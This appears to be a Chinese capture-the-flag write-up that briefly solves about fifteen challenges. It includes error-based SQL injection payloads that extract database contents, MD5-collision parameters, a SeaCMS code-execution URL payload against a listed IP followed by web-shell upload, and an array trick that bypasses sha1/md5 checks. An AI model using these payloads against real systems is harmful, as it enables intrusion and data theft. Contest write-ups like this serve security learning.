由于时间关系大部分我只给出解题过程,图就不贴了
1
试了一下发现union 不行,那就试试
报错注入:
and 1=(updatexml(1,concat(0x3a,(select database())),1)) #
发现爆库成功!
and 1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)) #
爆表成功!
and 1=(updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=’flag’)),1)) #
爆列成功!
and 1=(updatexml(1,concat(0x3a,(select group_concat(flag) from flag)),1)) #
2
进入页面,发现被base64了,解码后,发现是JS加密,放入控制台得到flag
3
频谱转换发现flag:….(一串字符) 但这并不是真正的flag,至于真正的flag我也没找到
4
Base64很明显,我们只需一直解码即可,每组字数为5
5
。。。。
6
要计算,正则,得py得天下
7
。。。
8
你能解开这段密文吗?
ASCII差值
根据密文:
s——{
Z——c
*——4
Z——e
g——s
‘——4
d——r
b——f
g——l
[——a
`——g
9
。。。
10
。。。
11
抓包 发现隐藏的代码
这串呢?一上来就把你传的参数转化为string类型,所以用数组的方法是不行了。
只能是MD5碰撞了,就是不相同的字符恰好有着一样的MD5。fastcoll_v1.0.0.5.exe工具可以给弄出来。
但是别忘了url
param1=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP¶m2=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP
12
。。。
13
逆序解码base64,发现是1,
14
发现是海洋CMS漏洞
搜索漏洞找了一个版本的
构造payload
http://47.103.43.235:84/search.php?searchtype=5&searchword=%7Bif%7Bsearchpage:year%7D&year=:e%7Bsearchpage:area%7D%7D&area=v%7Bsearchpage:letter%7D&letter=al%7Bsearchpage:lang%7D&yuyan=(join%7Bsearchpage:jq%7D&jq=($_P%7Bsearchpage:ver%7D&&ver=OST%5B9%5D))
上传一句话,菜刀连接,
根目录下发现flag文件
15
抓包发现,我们打开发现
分析代码逻辑,发现POST了两个字段name和password,获得flag要求的条件是:name != password & sha1(name) == sha1(password),乍看起来这是不可能的,其实可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组,如:?name[]=a&password[]=b,这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,将报错并返回false,if 条件成立,获得flag。
经验证md5()函数同样存在此漏洞。